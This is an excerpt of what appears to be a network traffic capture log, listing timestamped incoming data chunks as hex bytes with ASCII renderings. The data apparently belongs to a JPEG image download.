2021-11-25 16:28:56 UTC 1990 IN Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 03 02 02 03 02 02 03 03 03 03 04 03 
03 04 05 08 05 05 04 04 05 0a 07 07 06 08 0c 0a 0c 0c 0b 0a 0b 0b 0d 0e 12 10 0d 0e 11 0e 0b 0b 10 16 10 11 13 14 15 
15 15 0c 0f 17 18 16 14 18 12 14 15 14 ff db 00 43 01 03 04 04 05 04 05 09 05 05 09 14 0d 0b 0d 14 14 14 14 14 14 14 14 
14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 14 
14 14 14 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 
00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 
00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 
Data Ascii: JFIF``CC8"}!1AQa"q2

2021-11-25 16:28:56 UTC 2005 IN Data Raw: 15 46 d1 9e d9 ef 5e c7 a4 68 7a 66 9e 88 12 08 b7 ae 30 76 8e 0f ae 7d 69 ce fb 64 38 c6 32 40 a7 2a d2 96 
88 8e 54 8f 06 f1 de 85 ae 35 c1 5b 4b 0c 82 4e ef 2f 92 47 6f 7c 9f f0 ae 5b 49 f8 5b e2 df 13 de 4e 89 a7 7d 9e 48 86 e6 
37 47 60 19 e0 0e fc d7 d5 36 90 c3 e7 79 af 1a ee 5f e2 f4 cd 5e b4 b6 86 cd 4a c1 18 8c 31 2c 6a 7d bb 8a b2 2f 95 4b 
73 e6 68 7e 14 f8 b3 43 ba 8c df db 1b 88 1f 92 6d 9b 78 52 3b 37 70 0f d2 bb 5f 02 7c 21 64 b8 bb 96 fe 3f 2a da 40 a6 23 
d0 e7 a9 ca 9e dd ab db 36 9a 5d bd f1 51 2a d2 91 4a 07 1d ad 78 12 ca eb 4d 68 20 76 8d 8a e0 36 72 49 03 8c fe 35 f3 
df 8e bc 1f a8 e9 0d 1c 0b 61 24 50 33 32 a3 30 24 b1 07 96 ef 80 7a fd 2b eb 3d 81 9b 24 56 76 b9 a5 db ea d6 66 2b 84 
0c 3b 1f 4a 54 ea b8 30 71 d0 f8 e5 74 67 85 67 95 
Data Ascii: F^hzf0v}id82@*T5[KN/Go|[I[N}H7G`6y_^J1,j}/Ksh~CmxR;7p_|!d?*@#6]Q*JxMh v6rI5a$P320$z+=$Vv
f+;JT0qtgg

2021-11-25 16:28:56 UTC 2021 IN Data Raw: 12 01 96 44 94 00 25 5e 72 30 03 60 f4 ee 78 8b 09 97 4d 4b d7 9e 0b ab 7b 84 40 23 92 19 36 a8 7e 8c 19 48 
21 81 53 8c 70 47 5e 79 af b9 ae b4 4f 09 78 e7 c1 76 96 9e 21 bb b8 d3 ec 41 6b 8b 7b ed 36 ce 6b ed 35 82 e5 58 a0 20 
5c da 30 07 25 09 68 f0 38 03 a0 e7 fc 41 f0 4e c3 c4 1e 0f 4d 4f 4d d5 2d 7c 5f a5 ba 79 42 68 f6 c5 ab c0 80 0c 05 07 09 
78 a0 67 f7 67 6c 80 0e 3a 55 29 ae a4 34 79 96 9e 1b e2 37 c1 7d 00 78 7c dd 6a 7a f6 8f 76 c8 12 38 f3 3d b4 6c a4 2c 
6a c1 b2 50 b7 cc 30 08 0c c4 7c bc 6e f4 df 80 1f b6 5e ad a6 a7 fc 23 9e 37 d4 66 b8 b5 4c 25 be a5 34 46 5b 98 1c 30 
1b 58 91 97 5c 0c 10 79 e3 83 d0 1f 25 f0 f6 9d e3 9f 80 17 da 86 ad e0 ef b3 ea 7a 64 e1 5a 5d d6 a6 56 81 55 f2 ad 24 
12 00 f1 b0 23 1b 88 00 82 46 e3 53 78 a2 ef c3 5f 19 
Data Ascii: D%^r0`xMK{@#6~H!SpG^yOxv!Ak{6k5X \0%h8ANMOM-|_yBhxggl:U)4y7}x|jzv8=l,jP0|n^#7fL%4F[0X\y%
zdZ]VU$#FSx_

2021-11-25 16:28:56 UTC 2024 IN Data Raw: 28 ad 38 2e e3 86 3e 06 4e 06 4d 28 11 aa 95 c6 71 d6 a3 9a 24 75 e3 af 41 4c 04 9c 89 14 14 ce 3b e6 a5 b7 
92 38 33 c2 be 7d 6a b9 57 0d 8c 82 a7 03 15 0c ae 03 60 20 c7 f8 51 71 58 8b 5c 89 5a 12 ea 76 36 0f 43 8a f3 ed 42 e2 
51 bc 47 26 30 72 0e 6b b1 d5 6f 1a 5b 72 87 1c 71 f9 d7 2d 79 a2 cb 71 89 23 39 71 fc 1e e6 90 f6 38 3d 6e eb 50 2c 48 
dd b4 1c 86 19 cf 3f a5 65 db eb b7 d6 5f 20 dc f8 c9 19 27 a7 7f f0 af 5e b5 d1 16 e6 d8 45 2c 43 24 13 93 cf 4a c6 b8 f0 
0c 6d 26 42 67 93 d3 d2 b5 52 56 d4 67 09 2f 89 35 1b e6 44 8d d9 1b b8 e7 eb 53 4a 35 19 e3 da e2 42 c4 8c 7a 7d 6b 
b8 b1 f0 82 e9 d3 48 c4 70 ab 9e 47 3c d5 db 15 8e f2 e0 c4 ca 37 67 e5 1e df 8d 4f 37 60 3c e2 de cb 55 b1 90 cb 04 6c 5f
18 dd 82 70 0f f2 ac 8b db 7b e3 36 e9 58 bb 13 c6 73 
Data Ascii: (8.>NM(q$uAL;83}jW` QqX\Zv6CBQG&0rko[rq-yq#9q8=nP,H?e_ '^E,C$Jm&BgRVg/5DSJ5Bz}kHpG<7gO7`
<Ul_p{6Xs

2021-11-25 16:28:56 UTC 2040 IN Data Raw: 21 d7 84 92 3b 4b 29 e4 01 b7 8c 7d 6b cc db 5a 65 71 89 32 31 83 e8 73 51 cd ae 1d 9b 41 e7 3d 7b f1 c7 6a 
5c a8 39 8e ff 00 fb 78 b5 d0 21 c9 2a 46 57 d4 67 9f a5 77 b6 9e 32 d3 a1 d3 e3 86 dd 04 72 2a 64 e7 d4 f3 da be 7a 87 
5f 31 30 60 e4 93 91 f9 d4 e9 e2 8b 80 cc 10 e0 91 8f c3 ad 0e 09 ee 0a 56 3d 8a 3f 15 cd 79 be 29 64 5c 07 f9 49 e4 74 
cf 5a e7 ae 35 05 7b 96 02 4c ae 46 00 eb f9 57 00 be 24 99 f8 69 3b f3 83 fc aa d5 bf 88 12 18 5f f7 79 27 be 7f 2e 68 51 
4b 61 a9 5c f5 cd 0b c4 2f 65 32 2e 7f 74 30 18 37 f3 f4 af 46 d2 ae ed 2e f6 4c 6e 46 24 e8 38 dd f5 fa 57 ce 5a 7e ba c1 
b2 af 90 4e 4e 4f 41 f8 d7 49 a3 f8 a2 78 26 02 29 1b 27 83 81 d7 3d be 9d eb 39 42 e6 8a 5d 0f 7a 77 82 66 d9 23 af 96 
0e 32 0e 06 4f 4c 8a bb 34 30 4b 6a 11 5f 3c 71 f8 
Data Ascii: !;K)}kZeq21sQA={j\9x!*FWgw2r*dz_10`V=?y)d\ItZ5{LFW$i;_y'.hQKa\/e2.t07F.LnF$8WZ~NNOAIx&)'
=9B]zwf#2OL40Kj_<q

2021-11-25 16:28:56 UTC 2056 IN Data Raw: 20 9b e6 c6 4e 7a 7e 54 e5 90 9e 33 9a 81 a4 03 1c d2 86 c7 43 fa 50 05 9c b6 d2 40 c5 46 4c bf 37 3c 9e d5 
19 ba d9 f4 a4 6b 92 ca 70 0e 69 dc 07 12 e5 47 5f 5e 6a 36 66 4c 82 0e 0f 3d e8 33 90 dc f5 35 13 4e dd c1 cd 30 1c 25 
71 cf e9 8a 45 ba 71 c7 6f f0 f4 a6 09 4f 43 c5 35 89 ec 7e 9e d4 0c 99 ae 19 d4 8f 7e 68 de 59 79 3f 85 42 32 70 07 5a 68 
3e c3 3e a3 eb 40 ac 59 33 9d df 87 a7 f2 a5 49 80 50 c4 7f f5 aa 9b cb d0 12 3e 86 98 d3 a2 e0 9c 71 91 d7 fc f3 40 cb d2 
dd 8e 48 60 4d 56 9a ec 87 c6 78 ff 00 0e b5 9b 25 ce 70 16 a2 8d b2 b8 0c 70 7d fb 9a ab 0c be 2f 49 f7 c8 ef c5 2a 4b 95 
e3 8c 77 c5 54 49 06 c1 d7 3d fb 52 ac d8 c0 39 1d 41 eb 8c fb 7b 53 03 49 1f 6e 06 70 71 d3 bf e7 51 99 8e fc e7 20 73 
d2 aa c7 76 a1 fa 9c f6 eb ff 00 ea a7 3d d8 db 
Data Ascii:  Nz~T3CP@FL7<kpiG_^j6fL=35N0%qEqoOC5~~hYy?B2pZh>>@Y3IP>q@H`MVx%pp}/I*KwTI=R9A{SInpqQ 
sv=

2021-11-25 16:28:56 UTC 2064 IN Data Raw: 69 75 2a db 41 79 cb 2e 42 0c 11 d1 b0 a1 b0 a5 88 95 37 aa ba 0f 63 17 b3 b1 e4 66 6d 4e 6b 93 14 16 77 5b 
ba 7c cb 8e 3f 1c 55 7b cd 42 ea d2 49 20 b9 b7 68 e4 1c 1f 33 dc 71 83 df f0 ae c3 c5 9a 95 97 8f fc 51 6d 7f e3 1b 4b 3f 
86 fe 0d 86 c2 33 66 4c de 7c fa b2 98 81 80 42 15 0a b9 40 ff 00 32 a8 ca e7 6f b8 e4 bc 7d f0 cf c2 97 af 6f e1 dd 5c af 
86 bc 6f 3b 49 73 a7 c5 71 1b 3c d7 30 1c 88 85 d8 42 52 de 4d bc 85 50 dc 28 3c 12 72 e3 8c 4b 78 93 f5 6b fd a3 12 f6 
56 95 8a 98 c9 c8 e8 33 ce 2a 38 e3 56 4d ea 1a 36 ff 00 0e d5 c6 6b 7f 06 a0 f0 ff 00 89 24 b4 6d 72 eb 50 8a 27 85 62 
9b 47 db 2c b7 2f 22 e4 43 1a a3 30 0e 31 f3 12 ff 00 29 1f 74 e4 57 2b e3 6d 7b 53 b2 4b bb 6b 8b 41 1e a9 74 41 95 ae 
a6 66 9a df 05 94 a1 55 65 08 c7 19 2a 50 11 c7 ae 
Data Ascii: iu*Ay.B7cfmNkw[|?U{BI h3qQmK?3fL|B@2o}o\o;Isq<0BRMP(<rKxkV3*8VM6k$mrP'bG,/"C01)tW+m{SKkA
tAfUe*P

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:56 UTC 2080 IN Data Raw: 24 83 aa 06 40 06 79 c7 5c 66 b9 2f f8 56 be 24 29 65 3c da 25 fe 75 19 31 0a ac 44 19 be 60 b9 0c 47 39 63 
8c f7 35 ef 3f 12 f5 b9 3e 1f 68 7a 7d 8f 87 92 e3 4d d1 16 16 8b 52 db a8 71 a9 dc a9 65 f9 95 48 dc 15 81 91 b0 4e 37 85 
fe 10 2b a0 f0 3f 8a f5 9f 84 fe 0b 7f 15 f8 b3 5f be fe df 99 27 b5 b5 d3 6e 6f 67 96 63 76 ea 85 6e 24 88 b1 8d d6 38 1b 72
f3 90 cc 99 c6 e1 89 e6 76 b9 5c a7 9f 6b 32 c1 f0 3a d7 42 d1 ac 74 f3 75 15 f8 63 ad ac f6 f8 26 e8 07 85 a2 8e 63 b4 b2 
a6 f6 56 2a 42 b1 0c 31 8c 93 d6 c7 e0 3f 0f 7c 2d f8 57 e2 3b d7 d3 25 9f 5c bb b6 dd 35 f5 9c 4c 86 c4 c8 03 2d b2 81 14 
90 61 7e 52 cd bc 67 38 5c 9c 63 0f e0 af c3 97 97 c4 87 e2 0f 8d cf 95 e1 bd 36 d9 75 6b 9b a9 65 69 31 13 16 11 46 a0 
b6 59 e4 61 85 07 23 87 ce 08 14 ef 1d 78 
Data Ascii: $@y\f/V$)e<%u1D`G9c5?>hz}MRqeHN7+?_'nogcvn$8rv\k2:Btuc&cV*B1?|-W;%\5L-a~Rg8\c6ukei1FYa#x

2021-11-25 16:28:56 UTC 2096 IN Data Raw: ea 09 77 04 ac 8d 01 3b 06 7f 76 84 f7 c7 4c 7d 6b 16 e2 f6 5b 9b 99 27 b9 26 49 65 62 cd 27 5d c4 d3 d5 ee 
4d ce e2 e4 5b 43 70 66 17 ed 34 8a 14 b4 62 3c 96 1c 81 92 0f e3 d7 15 ce cd 24 77 73 14 d9 25 be 58 87 60 c7 96 3d 
37 13 92 7e 83 8a c7 6b b7 b9 fb df 27 45 38 24 0f 6c d4 cd 6a cc 8e 23 25 d5 43 16 38 e0 01 e8 dd 33 4f 95 08 b8 b7 92 
5a 4d 1c 76 80 39 6c a9 62 77 12 dc f2 7a 81 8f 6a 2d ac a6 b8 de 06 d0 e5 86 eb 86 25 9f 39 fe 15 1c ff 00 4a ae ba 64 df 
66 33 a0 53 19 1f 31 25 70 07 e2 7a d6 96 8f 61 36 b1 79 6f 68 92 46 63 c1 f3 15 4f 2a 87 82 cc 78 1c fd 68 e8 05 f8 ee ed 
1a 4c 2f da 3c f2 42 fe ec 9d ac 47 42 a0 9c 60 0f 5e b5 05 9c 36 f2 48 4d d6 d8 be f4 63 70 c1 e0 e4 10 47 0c 71 df f9 d6 
a4 96 50 89 a5 68 b8 23 2a c1 49 cf ae ec 0f 4e e4 
Data Ascii: w;vL}k['&Ieb']M[Cpf4b<$ws%X`=7~k'E8$lj#%C83OZMv9lbwzj-%9Jdf3S1%pza6yohFcO*xhL/<BGB`^6HMc
pGqPh#*IN

2021-11-25 16:28:56 UTC 2104 IN Data Raw: c7 e1 4e e6 1e cd a3 d3 1b 3c 0e 80 8a 63 aa aa f2 fc f0 4f 1d a9 34 6d 5b 4a f1 1c 26 e3 4a d4 6d f5 38 40 f9 
8d bc 81 f6 9f 71 d4 7d 08 15 3f 91 b1 89 e3 6a b6 73 9e 6a 79 89 b1 54 8c ca 40 e7 b8 c9 e9 4e 01 43 01 8c 77 eb f8 f7 
a9 d8 00 c4 a9 20 7a 0e 4e 29 0a aa a9 ca ee c8 eb 9f c6 97 30 ec 42 22 1b 09 03 7f 5c e0 77 a7 08 90 e4 7a 71 52 14 52 
c0 1f 41 d0 7a 7f 5a 73 c4 02 fb 1c 64 9f ca 95 c5 62 1f 95 9b 3d 0f 3c 77 fa 7e 94 dd 9b 70 40 39 1d 30 38 ab 51 ab 16 00 
80 01 ee 7d 29 bb 46 e5 00 e0 0f d0 f7 a3 98 76 21 11 ee 60 32 10 60 f4 eb ff 00 d7 a6 b4 68 dc 2f 23 3c fe 35 3b ae 71 9f 
e1 19 20 f5 a4 64 1f 2e dc 0e fe 94 ee 2b 15 42 a8 6c 07 20 1e 72 3a 67 f1 a7 49 19 2d c9 c8 ed 8f a5 4e 23 dc c3 a1 38 
1d 33 8a 6b 0c ae d1 8c 1c 1e 4f 4f 5c 7b 9e 95 
Data Ascii: N<cO4m[J&Jm8@q}?jsjyT@NCw zN)0B"\wzqRRAzZsdb=<w~p@908Q})Fv!`2`h/#<5;q d.+Bl r:gI-N#83kOO\{

2021-11-25 16:28:56 UTC 2120 IN Data Raw: 39 1c 83 8f c7 9a b1 f0 ef e1 ed 8e 9b a4 c9 7d 79 12 df cc d2 12 b0 b1 26 38 54 63 a0 e3 71 3e fd b8 f7 ab 8c 
55 ae c5 29 59 d8 b7 a9 f8 7f 4d b7 d2 bc ab 67 36 6f 83 b7 ec d9 04 91 cf dd 00 96 3c 77 15 ab a1 2c 2b a4 25 dc e5 a1 
2a 31 ba 41 b7 a7 53 83 8e 6a 1f 16 6b c9 a2 34 66 14 c4 08 55 94 44 30 08 27 18 e3 03 83 d7 15 cf ea 9a 8c 92 f8 6e ee 
de 37 f3 64 40 7c c6 07 2a b8 23 91 f4 cd 09 01 b9 0e bd 6f 73 3b bd 9f fa 44 aa 37 21 24 72 07 76 27 80 3f 33 51 c5 71 
2e b3 79 2b 4b 20 fb 42 2e 53 3c ac 47 d8 1f ff 00 5d 63 5b c9 06 9b a7 d9 4f 2e 52 dc da 8d d1 67 25 c9 c8 50 06 79 24 
8c 9f af 5a 4f ed 03 a5 e9 37 37 8a 83 ed 37 2e 14 28 ea 79 ef 8f 4c fe 94 9c 46 43 ac cb 0d 95 e4 13 b1 b7 49 61 ca 0b 96 
0a 30 c4 f3 82 7a 7b 53 ae bc ad 52 c4 40 92 c9 e5 
Data Ascii: 9}y&8Tcq>U)YMg6o<w,+%*1ASjk4fUD0'n7d@|*#os;D7!$rv'?3Qq.y+K B.S<G]c[O.Rg%Py$ZO777.(yLFCIa
0z{SR@

2021-11-25 16:28:56 UTC 2136 IN Data Raw: 6e 2f 1c 21 ff 00 80 a6 d1 fa 52 cb a0 78 66 df 94 f0 a5 9b ed 1f c5 07 98 48 fc 73 45 d8 72 a3 93 b3 d6 7c 37 
73 72 23 b6 7b 6b 89 89 e1 62 8f 2c 08 38 cf 4e 31 57 f5 0b fb 5b 1b 79 2e 56 d0 5d ec 5d cd 1d ba 87 90 81 df 6f 27 fa fb 
54 ba a6 a7 67 a0 c7 23 db 68 96 16 f1 be 7f e5 c5 63 dc 47 b8 03 8f 4e fe d5 c0 37 ed 19 1f 87 6e 9e d8 68 f6 f6 ce 08 5f 
dd 40 38 3d b0 70 0d 52 4e 5b 06 91 33 f5 8f 89 93 f8 a8 c5 07 86 a2 d4 ac e5 0e 54 b4 36 25 83 fa 65 82 e5 71 f5 ae db 
c2 5f 0f fc 63 ab b4 53 dc c9 79 a7 af 73 74 00 76 cf 39 0b 8c 8f c7 15 ad a1 fc 78 fe d3 85 24 2d 37 96 14 17 21 48 50 c7 
de ba 3d 0b e2 6b f8 86 e0 a5 8a 4d 38 5e a7 3f 28 f7 e3 b9 f4 a7 69 24 46 86 ee 9f e0 d9 a0 8d 04 f2 5c 5c 48 bc 12 cc 14
7e 59 c5 6a db f8 7e 14 62 25 78 62 1f dd 
Data Ascii: n/!RxfHsEr|7sr#{kb,8N1W[y.V]]o'Tg#hcGN7nh_@8=pRN[3T6%eq_cSystv9x$-7!HP=kM8^?(i$F\\H~Yj~b%xb

2021-11-25 16:28:56 UTC 2143 IN Data Raw: 44 58 fd a0 14 1d 32 06 7a fb 74 ad 26 f0 fc 9b 8e 18 39 3c 0e df a7 4a a5 3e 9c f1 64 28 28 c3 82 08 c8 fc 48 
a0 45 09 fc 2f a2 6a 52 32 3c 36 c5 8f 24 aa ed 6f a8 00 8f e7 59 9a 9f c2 3b 0b 9f de 5b 5f b4 0d dc 30 27 f9 e3 f9 d6 c3 
c4 88 a8 92 0e 73 d4 0c ae 7d 88 ab 42 49 a1 5d c8 48 5e 09 fe 21 fe 7f 0a ab db 61 1c 05 e7 c2 2b c8 d7 30 5d c5 2e e6 
04 f9 80 af d7 18 cf 04 56 26 a3 f0 a3 55 55 2a b0 5b dd 00 4b 7e e9 82 b7 a8 1c e3 8f c2 bd 7a de fc 17 20 00 09 ea 23 5c 
8f cb fc 2a e4 52 2d ee fc a3 64 70 24 43 83 f9 55 73 32 6c 8f 8d 66 d5 a0 85 90 b6 a3 c9 21 84 77 04 93 9f 6c 0e 71 50 dc 
78 aa 3d fb 3c c9 65 c8 07 10 af 42 3b 06 24 ff 00 2a c7 b1 f0 a5 bd ac 62 51 a8 66 6c 7c f6 f7 11 7e 3c 36 38 ff 00 f5 d5 
88 c0 b5 ff 00 55 21 91 c9 e8 17 2b 8f 4e 
Data Ascii: DX2zt&9<J>d((HE/jR2<6$oY;[_0's}BI]H^!a+0].V&UU*[K~z #\*R-dp$CUs2lf!wlqPx=<eB;$*bQfl|~<68U!+N

2021-11-25 16:28:56 UTC 2159 IN Data Raw: c7 18 eb 9c 67 da b4 3c 39 e0 2d 56 59 31 7b 24 56 8a 47 0c 4e ec 73 d4 d6 72 a7 49 a3 68 d4 aa 9e 87 a3 c7 
f1 3a e2 48 f6 91 92 57 0c d9 c9 e7 a8 ae 87 fe 16 12 41 e5 bb 0f 2e 2d 80 12 dd 58 e3 a5 79 ee 97 e0 09 5e f0 17 bf b7 
30 87 03 86 c1 ef c1 f4 ab 1a c7 84 f5 19 2f 1e 28 d1 7c 88 f6 85 94 1c 83 93 8a e5 74 e0 dd 91 d7 1a b5 2d 76 7a 1d af c4 
a4 4b 1f 34 45 e8 09 73 d4 93 d0 0a a4 ff 00 11 fc cb 7b 89 09 54 c3 10 43 1e 4f b0 f7 f5 35 80 9e 0d d4 2d 34 d1 b1 1d f6 
8c e4 37 5f 70 2b 22 eb c2 f7 82 40 24 cc 60 e7 70 38 3d 79 eb 52 a9 c0 a7 56 67 71 61 f1 0a de 28 50 b1 f9 c8 1b ce 3b 
0e 82 b5 17 c7 76 72 db 8c 48 01 75 e1 b3 ca 81 5e 45 36 9f 75 23 79 10 02 ea cd 9c ed f4 e3 26 8b a8 de de 1d f2 8d 8a 
ac 42 b2 e7 90 3a d5 fb 18 93 ed e4 8f 58 b8 f1 bd 
Data Ascii: g<9-VY1{$VGNsrIh:HWA.-Xy^0/(|t-vzK4Es{TCO5-47_p+"@$`p8=yRVgqa(P;vrHu^E6u#y&B:X

2021-11-25 16:28:56 UTC 2175 IN Data Raw: 1e e0 d7 a7 5c cb a9 6a 18 20 88 c1 39 0a 48 20 0f 6e 95 42 e3 c2 d7 77 13 79 b7 53 db be 7a 6d 5c 9f c4 d6 
51 ae be d2 2a 58 57 f6 1b 39 4d 37 55 6b 25 c0 73 23 37 24 c8 37 11 f4 15 b3 65 e3 17 85 80 fd e3 e3 f8 93 e4 c5 74 3a 
57 86 6d 51 64 12 45 1c 80 9c 8e 01 c7 e0 7a 55 89 bc 23 63 3c 78 8a d8 79 c7 a3 28 19 fc aa 5d 5a 6f 74 54 68 56 8a d1 
99 71 78 a6 e2 f9 13 10 c8 0e 38 66 61 d3 f1 a9 ac ed af 35 1b 8d b1 de f9 60 f5 56 23 3f 98 ff 00 38 a8 e5 f0 95 e5 8b 6f 
11 47 22 67 a1 2c 30 07 f9 ed 52 5b 5b 6a 57 2e 82 1b 33 04 63 f8 94 1d bc f1 9e a2 b3 93 87 d8 37 8a a9 7f de 23 68 e8 
97 26 d9 4c 97 f1 bb af f0 96 38 cf e7 9a e4 f5 cb 6d 76 ce f0 3d b5 a4 97 96 fd 4c 76 d3 37 07 f1 19 fc aa 2d 73 c2 9a f5 
9d c6 2d 25 b9 bb fe 23 86 e9 cf 42 09 ce 7d 38 a9 
Data Ascii: \j 9H nBwySzm\Q*XW9M7Uk%s#7$7et:WmQdEzU#c<xy(]ZotThVqx8fa5`V#?8oG"g,0R[[jW.3c7#h&L8mv=Lv7-
s-%#B}8

2021-11-25 16:28:56 UTC 2183 IN Data Raw: 9b 30 0b 23 44 09 21 7a e0 81 cf 1f ad 58 d7 be 26 4d 1d ca cb 6b 24 a9 08 0a 10 c9 26 59 48 04 11 bb 00 9e 
4d 70 5e 30 f8 89 af 5f 34 12 d8 6b 13 47 3c 64 ed cb 31 50 0f e3 c1 ae 85 4a 6b de 39 bd ad 39 7b a8 f5 0f 06 f8 e7 51 87 
47 d4 26 06 e2 08 02 79 8f 78 ac 15 77 63 25 77 1e 8d df 03 f2 af 3d f1 17 8c 53 51 44 b8 7f 30 5c a7 59 43 12 58 1e cc 0f 
19 1c e6 b8 8b 3b eb f8 9e ed 1e e5 ae 2d 67 60 fe 58 18 00 9e b9 e7 93 9e 87 1d 29 ee d2 32 31 8f 91 f2 8e 79 07 03 d2 
b7 a7 47 5b b4 67 52 ae 89 1b 90 ea 31 aa c5 2b b6 4e 06 73 fe 1f 4a b4 35 d4 0b 8c 8d bd f1 cd 62 59 68 3a 8e ae e1 21 
82 49 18 e7 00 0e 7f 2a ec 34 5f 84 3a d5 c3 8f 3a dc d9 a7 50 d3 70 3f 2a ec b2 5f 11 c1 7b ed a9 5e 2d 58 5d f0 62 e3 21
81 3f fd 6a eb fc 32 35 4d 4e 64 8e d7 32 43 ff 
Data Ascii: 0#D!zX&Mk$&YHMp^0_4kG<d1PJk99{QG&yxwc%w=SQD0\YCX;-g`X)21yG[gR1+NsJ5bYh:!I*4_::Pp?*_{^-X]
b!?j25MNd2C

Timestamp
kBytes
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2021-11-25 16:28:56 UTC 2199 IN Data Raw: c9 a3 d8 f2 40 63 33 09 30 07 01 b9 38 ce 3d 28 e6 8f 61 f2 c9 f5 3c 81 f4 7d 6a ea e5 0c d7 77 86 67 2d ba 48 
8e e4 0a 71 8e 33 eb df 38 c7 6a 64 7f 08 b5 6b 99 85 cd c4 81 f3 9c b1 9c b6 48 38 c9 03 91 c7 e1 5e c9 7d aa 7f 62 5b 
48 c6 2f b4 a8 1c c5 6e bb 97 1d 4e 30 3d 7a f7 e9 5e 7f ab fc 43 d6 b5 f6 16 1a 36 91 34 44 6e f9 ae 20 28 ac 00 e9 b8 f4 
fc 4d 35 26 f6 13 8a 5b 94 13 e1 ac 56 49 91 12 a5 c3 20 1e 61 60 ca 0f 4f ba 09 3d 79 f7 fd 2a 16 f8 59 a7 dd c6 8a 5c cb 
ce 5a 4f 2d bc c3 81 d0 2e 70 01 ef e8 7f 2a ea fc 31 a4 78 95 2c 73 ab da 43 6d 1e d0 c5 a4 91 5f 38 39 e8 09 3d ea 6d 
7b c5 4f 63 63 24 36 42 3b 40 a7 1b a2 5d ac ec 3a 7b 75 fa 62 95 dd ec 82 ca da 9e 55 e2 5f 85 d6 77 4f 1d 96 9f 3f d8 
a4 88 96 96 e2 ed 5b 61 07 b0 20 13 91 cf 4e a3 
Data Ascii: @c308=(a<}jwg-Hq38jdkH8^}b[H/nN0=z^C64Dn (M5&[VI a`O=y*Y\ZO-.p*1x,sCm_89=m{Occ$6B;@]:{ub
U_wO?[a N

2021-11-25 16:28:56 UTC 2215 IN Data Raw: 6e 9e df fd 6a 7b ea d7 93 f9 92 92 65 61 c9 90 f2 d8 fa f5 aa f6 97 ea 67 ec 63 1f b2 6f 89 a5 0e 56 37 98 26 ee
14 8c 8c 77 e3 03 ad 6b e9 d3 08 14 2b b8 cf 3c 46 c3 eb f7 4e 70 79 e9 fa 57 1d 06 a3 79 3a 87 31 cd 73 1c 7c f5 f9 b1 f9 
66 ae 47 7c 43 2c a4 dc 44 8f c9 5d c1 8e 38 e7 27 18 aa 53 f3 46 32 a5 a6 cc ea 17 55 21 89 0e ce a7 8c 36 41 c5 36 4d 
49 4a 82 eb 14 ea 70 00 2a 3f c3 35 cf f9 eb 72 c3 fd 20 a0 ec 18 1c 9f c4 53 6e af 9a d2 64 5d ea ea 73 b7 76 49 f5 f4 fe 
95 b5 d6 e7 22 a6 ef 64 69 6a 37 31 2b 1d 98 89 d8 64 61 86 39 ea 38 ef f9 55 1b 69 a7 1b d8 49 23 86 e8 1b 04 01 ed 9f 
f1 a7 1d 40 34 26 49 3c a9 d1 b3 c1 6c 91 e9 c1 fd 6b 2e fe e1 62 87 1b c2 33 92 71 19 24 f0 78 ea 31 fa 9a cf 9d 5c eb 8d 
37 6b 33 4e 6d 56 f1 66 c1 f2 dc 03 c6 23 
Data Ascii: nj{eagcoV7&wk+<FNpyWy:1s|fG|C,D]8'SF2U!6A6MIJp*?5r Snd]svI"dij71+da98UiI#@4&I<lk.b3q$x1\7k3NmVf#

2021-11-25 16:28:56 UTC 2223 IN Data Raw: 5a dc f7 a5 f1 34 7e 66 f9 d2 3d bf f3 d2 3c 0e 7d c7 7a 7b 78 cb 4c 64 44 9a 39 91 88 eb 1c 44 0e 3b f1 5e 2b 
61 af c9 04 67 32 5c ee fe 02 3a 03 f8 91 8f d7 f1 ad 6b 5f 1f df db db 6d 29 6f 2e 78 26 e5 41 03 8e 39 04 7f 5a e7 96 15 
74 3a 23 8b 91 ea e9 a9 e8 f7 3c c7 7e 10 e3 f8 83 03 fa 81 9a b5 6f 65 f6 b5 2f 6f 3d b4 eb fd ec a8 3f 95 79 1c 1e 36 57 
70 b7 b6 06 34 5e 37 5a c9 9e bf ec 92 38 ad eb 1f 11 e9 52 c9 b8 5e c4 09 00 85 b8 52 a7 e9 d3 d3 de b2 78 6f 33 58 e2 
bb 9d db ac d6 ce 56 54 f9 47 70 08 c9 fa 8e 2a 8c ba b5 b4 4c 51 b7 23 36 46 4c 79 fe 75 9b 6f 7c ee a2 4b 7b 81 b0 9c 0f
2a 52 46 7e 87 22 ac 9d 4e 70 a5 6e 00 7e db 9a 10 c3 f4 c5 65 ec 65 13 75 8a 52 1c e5 ef e3 26 19 3c b6 19 0c 04 6b ce 
7d 41 3f ca b9 0f 12 db dd fd 9e e7 cb 8b 7c 
Data Ascii: Z4~f=<}z{xLdD9D;^+ag2\:k_m)o.x&A9Zt:#<~oe/o=?y6Wp4^7Z8R^Rxo3XVTGp*LQ#6FLyuo|K{*RF~"Npn~e
euR&<k}A?|

2021-11-25 16:28:56 UTC 2239 IN Data Raw: 70 3b 8a c3 d5 e5 6b 34 32 4f 06 c4 e8 92 e3 93 ef b8 74 fc 6a e3 24 f6 26 cc ce 9a fb c9 c0 6f bc 08 3b 81 3c 
02 3a d5 5b ad 41 a4 8f 20 82 32 41 ce 4f 1d 8f 5e 2a 6b 82 b2 b3 98 a4 13 a1 3b 8e d3 86 04 fa 8e 9f 43 59 bf 67 10 c8 
77 3b 3a b0 25 46 06 41 f4 23 a1 1f ad 5e 85 0b 15 ec 5e 60 12 80 0e 78 2a 78 1e f9 eb 5a 16 ea 46 4a 4e 5b a1 29 92 78 
ac b9 2c 64 39 2a 19 d4 76 f6 ab 76 b6 0f 1a 00 b3 c9 1a 30 cb 97 c1 0a 7d 47 72 3e 83 fc 68 1e 85 d6 e5 72 79 27 af af 
eb 55 55 94 bb 29 0a c1 4e 3d 3f 1a b7 05 b4 cc a0 b4 82 55 f5 88 f3 f8 af ff 00 5c 53 9e dc 2b 00 78 dd 81 c8 c8 19 e3 f0 
